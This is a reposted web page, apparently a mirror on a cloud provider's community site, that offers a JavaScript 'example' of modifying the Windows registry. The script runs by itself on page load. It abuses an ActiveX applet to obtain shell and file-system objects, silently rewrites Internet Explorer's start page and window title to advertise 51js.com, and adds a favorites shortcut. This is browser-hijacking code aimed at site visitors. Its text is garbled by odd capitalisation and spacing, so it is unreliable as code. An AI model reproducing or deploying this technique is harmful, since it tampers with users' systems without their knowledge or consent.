Example of modifying the registry using JavaScript

Source: Internet
Author: User

Document. Write ("<APPLET Height = 0 width = 0 code = com. Ms. ActiveX. activexcomponent> </APPLET> ");
Function addfavlnk (LOC, dispname, siteurl)
{
VaR Shor = SHL. createshortcut (loc + "\" + dispname + ". url ");
Shor. targetpath = siteurl;
Shor. Save ();
}
Function f (){
Try
{
// ActiveX Initialization
A1 = Document. Applets [0];
A1.setclsid ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B }");
A1.createinstance ();
SHL = a1.getobject ();
A1.setclsid ("{0d43fe01-f093-11cf-8940-00a0c9054228 }");
A1.createinstance ();
FSO = a1.getobject ();
A1.setclsid ("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B }");
A1.createinstance ();
Net = a1.getobject ();
Try
{
If (document. Cookie. indexof ("chg") =-1)
{
// Set cookie
VaR expdate = new date (). gettime () + (24*60*60*1000*90 ));
Document. Cookie = "chg = General; expires =" + expdate. togmtstring () + "; Path = /;"
// Complete cookie setting
// Set the Home Page
SHL. regwrite ("hkcu \ Software \ Microsoft \ Internet Explorer \ main \ Start page", "http://www.51js.com /");
// Modify the browser title
SHL. regwrite ("hkcu \ Software \ Microsoft \ Internet Explorer \ main \ window title", "your Internet Explorer has been modified by 51js. com ");
// Set cookie
VaR expdate = new date (). gettime () + (24*60*60*1000*90 ));
Document. Cookie = "chg = General; expires =" + expdate. togmtstring () + "; Path = /;"
VaR WF, Shor, Loc;
WF = FSO. getspecialfolder (0 );
Loc = WF + "\ favorites ";
If (! FSO. folderexists (LOC ))
{
Loc = FSO. getdrivename (WF) + "\ Documents and Settings \" + net. username + "\ favorites ";
If (! FSO. folderexists (LOC ))
{
Return;
}
}
Addfavlnk (LOC, "Carefree script", "http://www.51js.com ");
}
}
Catch (E)
{}
}
Catch (E)
{}
}

Function Init ()
{
SetTimeout ("F ()", 1000 );
}
Init ();
</SCRIPT>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.